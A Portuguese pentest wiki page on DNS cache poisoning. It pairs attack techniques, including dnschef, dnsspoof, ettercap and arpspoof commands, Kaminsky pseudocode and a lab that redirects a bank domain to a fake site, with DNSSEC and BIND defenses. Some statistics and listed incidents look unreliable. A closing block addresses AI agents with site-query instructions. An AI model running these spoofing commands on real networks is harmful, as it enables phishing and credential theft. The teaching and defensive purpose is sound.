# DNS Poisoning

**DNS Poisoning** (ou envenenamento de cache DNS) é uma técnica onde o atacante insere informações falsas no cache de um resolvedor DNS, fazendo com que usuários sejam redirecionados para endereços maliciosos ao tentar acessar domínios legítimos.

```
Usuário → "qual o IP do banco.com?"
         ↓
Resolvedor DNS (envenenado) → "banco.com está em 5.5.5.5" (IP do atacante)
         ↓
Usuário acessa 5.5.5.5 → site falso (phishing)
```

#### Analogia

> *"DNS Poisoning é como adulterar uma lista telefônica: você liga para o João, mas cai na casa do Pedro."*

***

### ⚙️ Como o DNS Funciona (Brevemente)

1. Usuário digita `exemplo.com` no navegador
2. Computador pergunta ao resolvedor DNS: "Qual é o IP de exemplo.com?"
3. Resolvedor pergunta aos servidores autoritativos (cadeia de consultas)
4. Resposta é armazenada em **cache** por um tempo (TTL - Time To Live)
5. Próximas consultas ao mesmo domínio são respondidas do cache

**O vetor de ataque:** O resolvedor aceita respostas falsas e as armazena em cache.

***

### 🧠 Mecanismo do Ataque

#### Cenário Básico

```
1. Atacante envia resposta DNS falsa para o resolvedor
2. Resposta chega ANTES da resposta legítima (ou substitui)
3. Resolvedor armazena a entrada falsa no cache
4. Próximos usuários recebem o IP falso
5. Usuários são redirecionados para site malicioso
```

#### Condições para o ataque funcionar

| Condição                 | Descrição                                                       |
| ------------------------ | --------------------------------------------------------------- |
| **Resposta mais rápida** | Resposta falsa deve chegar antes da legítima                    |
| **ID da transação**      | Atacante precisa acertar o ID de 16 bits (65535 possibilidades) |
| **Porta de origem**      | Atacante precisa acertar a porta UDP de origem                  |
| **Domínio vulnerável**   | Resolvedor sem proteções (DNSSEC, randomização)                 |

***

### 🔧 Técnicas de DNS Poisoning

#### 1. ID Spoofing (Clássico)

O atacante envia respostas DNS falsas tentando adivinhar o ID da transação.

```bash
# Ferramenta: dns-spoof
dns-spoof -i eth0 -f hosts.txt

# hosts.txt
*.bank.com    A    5.5.5.5
*.paypal.com  A    5.5.5.5
```

**Limitação:** ID de 16 bits → 65535 possibilidades. Ataque pode levar minutos/horas.

#### 2. Birthday Attack (Colisão de ID)

O atacante envia **múltiplas respostas falsas** com diferentes IDs, aumentando a chance de acertar.

```
Enviar 500 respostas por segundo → ~0.75% de chance por segundo
Em 2 minutos → ~60% de chance
```

#### 3. Kaminsky Attack (2008)

**Descoberto por Dan Kaminsky.** Explora uma característica do DNS: consultas para **subdomínios inexistentes**.

```
1. Atacante consulta subdomínio aleatório: xyz123.bank.com (não existe)
2. Servidor autoritativo responde: "não existe" + NS record do domínio
3. Atacante envenena o NS record (apontando para servidor falso)
4. Resolvedor passa a consultar servidor falso para TODO o domínio bank.com
```

**Impacto:** Quebra a segurança do DNS em poucos segundos.

#### 4. DNS Spoofing via ARP (Rede Local)

Na mesma rede local, o atacante pode:

1. ARP Spoofing → torna-se o gateway
2. Interceptar consultas DNS
3. Responder com IPs falsos (DNS spoofing)

```bash
# Usando ettercap
ettercap -T -M arp:remote /192.168.1.1// /192.168.1.10//

# Usando dnschef (ferramenta dedicada)
dnschef --fakeip=5.5.5.5 --fakedomains=banco.com,paypal.com
```

#### 5. Cache Poisoning via Pacote Único (CVE-1999-0024)

Versões antigas do BIND aceitavam respostas que não correspondiam à consulta original.

```
Consulta: "qual IP do google.com?"
Resposta: "A record para yahoo.com é 1.2.3.4"
(Resolvedor antigo aceitava mesmo sem perguntar por yahoo.com)
```

***

### 🎯 Exemplos Práticos

#### Exemplo 1 – DNS Spoofing na Rede Local (dnschef)

```bash
# Instalar dnschef
pip install dnschef

# Iniciar servidor DNS falso
dnschef --fakeip=5.5.5.5 --fakedomains=banco.com,sitefalso.com --interface=192.168.1.100

# Configurar gateway para redirecionar DNS (ARP spoofing)
arpspoof -t 192.168.1.1 192.168.1.100
arpspoof -t 192.168.1.100 192.168.1.1

# Agora toda consulta a banco.com vai para 5.5.5.5
```

#### Exemplo 2 – Kaminsky Attack (Simplificado)

```python
# Pseudocódigo do ataque Kaminsky
import random
import dns.resolver

alvo = "bank.com"
atacante_ns = "5.5.5.5"

while True:
    subdomain = f"{random.randint(1, 999999)}.{alvo}"
    resolver = dns.resolver.Resolver()
    
    # Envia consulta para subdomínio inexistente
    try:
        resolver.query(subdomain, 'A')
    except:
        pass
    
    # Envia resposta falsa com NS record envenenado
    # (em paralelo, em alta velocidade)
    send_fake_response(
        domain=alvo,
        ns=atacante_ns,
        transaction_id=guess()
    )
```

#### Exemplo 3 – Phishing via DNS Poisoning

```bash
# Atacante envenena DNS para redirecionar usuários

# Cenário antes do ataque
dig banco.com
# banco.com → 200.100.10.1 (site legítimo)

# Após DNS Poisoning
dig banco.com
# banco.com → 5.5.5.5 (site falso de phishing)

# Usuário acessa 5.5.5.5, vê site idêntico ao original
# Insere credenciais → atacante captura
```

***

### 🚨 Consequências do Ataque

| Impacto                      | Descrição                                        |
| ---------------------------- | ------------------------------------------------ |
| **Phishing em massa**        | Usuários redirecionados para sites falsos        |
| **Interceptação de tráfego** | Atacante vê/modifica dados (MITM)                |
| **Distribuição de malware**  | Usuários baixam malware ao acessar site legítimo |
| **Bypass de segurança**      | Controles baseados em domínio são contornados    |
| **Persistência**             | Cache envenenado pode durar horas/dias (TTL)     |
| **Impacto amplo**            | Todos os usuários do resolvedor afetados         |

***

### 🛡️ Mitigações e Defesas

#### 1. DNSSEC (DNS Security Extensions)

A defesa mais robusta. Assina respostas DNS com criptografia.

```
Resposta DNS → Assinatura digital → Cliente verifica assinatura
```

**Como funciona:**

* Registros DNS são assinados digitalmente (RRSIG)
* Cadeia de confiança desde a raiz até o domínio
* Respostas falsas são rejeitadas (assinatura inválida)

**Implementação:**

```bash
# Verificar se domínio tem DNSSEC
dig +dnssec banco.com

# Resposta contém RRSIG (assinatura)
```

#### 2. Randomização de Porta e ID

Resolvedores modernos randomizam:

* ID da transação (16 bits)
* Porta UDP de origem (16-32 bits)

**Total de combinações:** \~2³² (4 bilhões) → ataques práticos inviáveis.

#### 3. Cache Seguro (BIND 9+)

* Não aceita respostas não autoritativas
* Validação de delegação (baixa confiança em respostas adicionais)
* Rate limiting de respostas

#### 4. Validação de Respostas

```bind
# BIND - Configuração segura
options {
    dnssec-validation auto;
    auth-nxdomain no;
    minimal-responses yes;
    rate-limit {
        responses-per-second 5;
        log-only yes;
    };
};
```

#### 5. Monitoramento

```bash
# Monitorar mudanças suspeitas em domínios críticos
dnstrace banco.com

# Detectar anomalias (resposta muito rápida, TTL estranho)
tcpdump -i eth0 -n port 53 | grep -i "bank.com"
```

***

### 🔧 Ferramentas de Teste (Autorizado)

| Ferramenta     | Função                     | Comando Exemplo                        |
| -------------- | -------------------------- | -------------------------------------- |
| **dnschef**    | Servidor DNS falso (teste) | `dnschef --fakeip=5.5.5.5`             |
| **ettercap**   | DNS spoofing + ARP         | `ettercap -T -M arp:remote`            |
| **dnsspoof**   | Parte do dsniff            | `dnsspoof -i eth0 -f hosts.txt`        |
| **Metasploit** | Auxiliary module           | `auxiliary/spoof/dns/bailiwicked_host` |
| **Scapy**      | Pacotes DNS customizados   | `send(IP(dst=target)/UDP()/DNS(...))`  |

***

### 🧪 Exemplo de Simulação (Laboratório)

```bash
# Laboratório: DNS Poisoning em rede controlada

# 1. Atacante (IP 192.168.1.100)
echo "192.168.1.100 banco.com" > hosts.txt
dnsspoof -i eth0 -f hosts.txt

# 2. ARP spoofing (tornar-se gateway)
arpspoof -t 192.168.1.1 192.168.1.100
arpspoof -t 192.168.1.100 192.168.1.1

# 3. Vítima (IP 192.168.1.50) tenta acessar banco.com
ping banco.com
# Responde 192.168.1.100 (IP do atacante)!

# 4. Atacante pode servir site falso
python3 -m http.server 80
```

***

### 📜 Casos Reais

| Ano      | Evento                                  | Impacto                                        |
| -------- | --------------------------------------- | ---------------------------------------------- |
| **2008** | Kaminsky Attack descoberto              | Patch emergencial em todos os resolvedores DNS |
| **2010** | DNS Poisoning no Brasil                 | Vários bancos redirecionados para sites falsos |
| **2014** | Ataque a resolvedores da Turkey         | 70.000 domínios envenenados                    |
| **2018** | Amazon Route 53 BGP hijack + DNS poison | Criptomoeda roubada                            |
| **2020** | Ataque a resolvedores de ISP europeu    | Usuários redirecionados por horas              |

***

### 🔗 Links Úteis

* [Dan Kaminsky - DNS Poisoning (2008)](https://www.kaminsky.org/)
* [DNSSEC - NIST](https://www.nist.gov/dnssec)
* [BIND 9 Security Guide](https://www.isc.org/bind/)
* [OWASP - DNS Spoofing](https://owasp.org/www-community/attacks/DNS_spoofing)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/rede-and-infraestrutura/dns/dns-poisoning.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.